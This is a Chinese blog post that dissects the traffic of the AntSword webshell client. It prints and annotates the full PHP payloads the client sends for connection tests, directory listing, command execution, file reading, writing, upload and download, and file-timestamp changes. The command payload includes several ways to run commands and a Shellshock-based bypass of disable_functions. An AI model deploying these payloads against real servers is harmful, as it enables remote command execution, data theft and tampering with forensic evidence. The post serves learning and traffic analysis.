蚁剑流量分析

 

之前护网的时候上传了webshell,发现蚁剑连接超时,但是冰蝎和哥斯拉都可以使用,根据我肤浅的了解,冰蝎和哥斯拉的流量是加密的,但是蚁剑不是,所以准备这次回来看看蚁剑的流量.

 

0x01 环境配置

搭建个php环境写个webshell,蚁剑配置一下代理就行,左上角->代理设置,然后改成bp上面设置的代理服务器就行了

 

0x02 测试连接流量

首先抓测试连接的包吧

这里的php代码要url解码之后再格式化一下会好看一些

<?php
@ini_set("display_errors", "0");    #设置不报错
@set_time_limit(0);                    #设置超时时间,超出时间会报错,0为没有限制

function asenc($out) {
    return $out;
};                                    #创建一个函数,返回$out

function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "a668f";
    echo @asenc($output);
    echo "2b358b9efe4";
}                                    #创建一个函数,输出一堆东西

ob_start();                            #写不清楚了放到下面去写
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
    $R = "{$D}    ";
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
    } else {
        $R.= "/";
    }
    $R.= "    ";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R.= php_uname();
    $R.= "    {$s}";
    echo $R;;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

?>

ob_start()查了一下一堆看不懂的东西什么缓冲区啊什么的

简单理解一下就是所有执行的结果都放到一个函数里可以选择输出或者不输出

<?php
ob_start();
echo "helloworld";
$str = ob_get_contents();
ob_end_clean();
echo $str;

//helloworld
?>

就差不多这个意思,顺便再了解一下别的ob开头的函数

ob_start() 打开输出缓冲区

ob_end_flush() 出输出缓冲区内容并关闭出书缓冲

ob_clean() 清空输出缓冲区内容

ob_end_clean() 清空发输出缓冲区并关闭输出缓冲

ob_flush() 输出输出输出缓冲区内容

ob_get_contents() 返回输出缓冲区内容

dirname()是用来返回路径中目录的部分

<?php
echo dirname('C:\\test\\a.php');

//C:\test
?>

下面两个方法是获取当前路径的

$_SERVER["SCRIPT_FILENAME"]

$_SERVER["PATH_TRANSLATED"]

使用大括号是因为把里面当作可变变量

下面一个if是判断当前是windows还是linux

截取获取到路径的第一个字符如果不是 / 就开始判断有几块硬盘

把得到的硬盘数据赋值到$R

如果是 / 就不做别的直接赋值

下面添加一个tab,应该是为了格式化方便

判断posix_getegid方法是否存在,如果存在就获取一个结果,不存在就返回空,这个方法只能在linux上面使用,会返回一串数组

Array ( [name] => www-data [passwd] => x [uid] => 33 [gid] => 33 [gecos] => www-data [dir] => /var/www [shell] => /usr/sbin/nologin )

下面一个判断如果是空字符就用另外一种方法获取用户名,总之就是获取不同系统用户名的方法吧

posix_getegid();            #返回当前进程的有效用户ID
get_current_user();            #获取当前 PHP 脚本所有者名称

这两个方法还是有区别的,如果在linux中使用get_current_user()会显示创建这个文件的用户,如果是root用户创建的会返回root,但是不是当前用户权限,所以在linux中不能使用这个

查了一下和什么有效用户实际用户有关系,一下子也说不清楚,到时候写篇文章专门说这个

php_uname()获取一些系统信息,拼接之后就是测试连接包返回的信息

 

0x03 列目录流量

第一个参数base64解码之后是当前路径

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "c3536554";
    echo @asenc($output);
    echo "e8932c7d0";
}
ob_start();
try {
    $D = base64_decode($_POST["i641a4cfe56ac8"]);            #POST一个base64的路径
    $F = @opendir($D);                    #opendir打开目录句柄,如果不存在或者不能访问都会报错,@不显示报错
    if ($F == NULL) {
        echo ("ERROR:// Path Not Found Or No Permission!");            #打不开就默认没权限
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));
            @$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);
            $R = "    " . $T . "    " . @filesize($P) . "    " . $E . "
";
            if (@is_dir($P)) $M.= $N . "/" . $R;
            else $L.= $N . $R;
        }
        echo $M . $L;
        @closedir($F);
    };
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>

看了一下代码其实差不多,如果判断出有这个目录就格式化

定义两个变量M,L

readdir需要用循环输出所有,如果不使用循环只会输出第一个文件或文件夹,readdir返回的是资源类型,对php的造诣还没有这么深,也不是很能理解,就随便提一下吧

$P拼接路径和文件名,得到文件的绝对路径

filemtime 获取文件修改时间

fileperms 获取文件权限,如0777,0666,就是文件读写执行的权限

filesize 获取文件大小

base_convert 转换进制,第一个参数是需要转换的字符,第二个参数是现在的进制,第三个参数是需要转换的进制

这里十进制要转换成八进制,然后取后面四位

接下来就是拼接一下然后输出了

 

0X04 执行系统命令流量

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "a735ece";
    echo @asenc($output);
    echo "aebcb5f";
}
ob_start();
try {
    $p = base64_decode($_POST["df6ea65f22ba1e"]);
    $s = base64_decode($_POST["hdf1accbefb95a"]);
    $envstr = @base64_decode($_POST["udd5d23f539a87"]);
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    };
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh") , "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir() , 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print ($output);
                return True;
            }
        }
        return False;
    };
    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print (@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print (join("
", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print (@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(
                1 => array(
                    'pipe',
                    'w'
                ) ,
                2 => array(
                    'pipe',
                    'w'
                )
            ) , $io);
            while (!@feof($io[1])) {
                print (@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print (@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret.= $so->ReadAll();
            $se = $e->StdErr();
            $ret.= $se->ReadAll();
            print ($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    };
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>

数据包里面两个都是base64,第一个参数是cmd(linux为/bin/sh),执行的命令是dir,第二个参数是cd /d “D:\phpstudy_pro\WWW”&dir&echo [S]&cd&echo [E],cd到这个目录下面去执行dir

上面就是设置一些变量吧,第一个if判断当前为什么系统,不同系统添加不同环境变量,尝试了一下发现这样添加环境变量是临时的,

第二个if也没看懂是做什么用的

fe函数检测函数有无被禁用

$d得到被禁用的函数,变为一个数组,如果$d为空也转换成一个数组,如果$d不为空先将所有的禁用函数转换为小写再去掉空格

如果这个函数存在,可调用,不在这个数组里面则返回true

runshellshock函数,这里已经开始bypass_disable_function了,但是这里需要C语言的知识,暂时还不会C语言所以没法读

runcmd函数,就是一个个对比过去了system,passthru,shell_exec,exec,popen,proc_open,antsystem,runshellshock最后还有个com组件

antsystem这个方法找了一下没找到,可能是作者先留着准备以后写的吧

$ret是命令执行后返回的状态,0是成功1是失败

上面所有方法都不能使用则返回ret=127,实际测试中只有所有方法都失败了才会返回127,因为里面执行的命令不止有一条,如:cd /d “D:\phpstudy_pro\WWW”&a&echo [S]&cd&echo [E]只要错误的命令不在最后一段里面就会返回0

whoami&a&whoami                #返回0
whoami&whoami&a                #返回1

如果想看到ret=1输入;就可以,会使整条命令都错误

 

0x05 读文件流量

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "58e7b39";
    echo @asenc($output);
    echo "442640773";
}
ob_start();
try {
    $F = base64_decode($_POST["z32eaa956c11f2"]);
    $P = @fopen($F, "r");
    echo (@fread($P, filesize($F) ? filesize($F) : 4096));
    @fclose($P);;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die(); ?>

这个就普通的读文件,POST上去的文件路径使用base64编码。,如果filesize没读出大小默认文件大小为4096

 

0x06 写文件+保存文件流量

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "c6a5e3ac1a3";
    echo @asenc($output);
    echo "7aa2ed54e88";
}
ob_start();
try {
    echo @fwrite(fopen(base64_decode($_POST["md6246f865f321"]), "w"), base64_decode($_POST["ib91b7206ec157"])) ? "1" : "0";;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>

写入内容和文件路径使用base64编码,fwrite写入

 

0x07 上传文件流量

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "a8d0d";
    echo @asenc($output);
    echo "a0625f";
}
ob_start();
try {
    $f = base64_decode($_POST["v889340f8c72ac"]);
    $c = $_POST["gf1a56119bdc4e"];
    $c = str_replace("", "", $c);
    $c = str_replace("", "", $c);
    $buf = "";
    for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode("%" . substr($c, $i, 2));
    echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>

第一个参数是文件路径,第二个参数是上传文件内容

不知道$c为什么要替换两次

然后计算出上传文件长度通过for循环上传

 

0x08 下载文件流量

<?php 
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "40bc8a634f";
    echo @asenc($output);
    echo "447ce9735";
}
ob_start();
try {
    $F = base64_decode(get_magic_quotes_gpc() ? stripslashes($_POS    T["v889340f8c72ac"]) : $_POST["v889340f8c72ac"]);
    $fp = @fopen($F, "r");
    if (@fgetc($fp)) {
        @fclose($fp);
        @readfile($F);
    } else {
        echo ("ERROR:// Can Not Read");
    };
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die(); 
?>

第一个参数是下载的文件,如果有使用魔术引号需要把斜杆都去除,没有的话就直接返回,后面这个fgetc也看不太懂,可能也涉及C语言的知识,以后学懂了再来看。

 

0x09 更改时间流量

这个就只是好奇想看一看是怎么改的

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "a6dd58ec46";
    echo @asenc($output);
    echo "6b8c4";
}
ob_start();
try {
    $m = get_magic_quotes_gpc();
    $FN = base64_decode(m ? stripslashes($_POST["p100b5d1ae6e76"]) : $_POST["p100b5d1ae6e76"]);
    $TM = strtotime(base64_decode(m ? stripslashes($_POST["f744286414facf"]) : $_POST["f744286414facf"]));
    if (file_exists($FN)) {
        echo (@touch($FN, $TM, $TM) ? "1" : "0");
    } else {
        echo ("0");
    };;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>

两个参数一个是文件路径一个是需要修改的时间

和上面一样判断有无魔术引号

touch方法修改文件时间

 

0x10 总结

看了一下蚁剑编码器和解码器,基本上也是一样的,就是代码加个编码返回值也加个编码

写这个就是看一看蚁剑的数据包吧,顺便还可以学一下php

(完)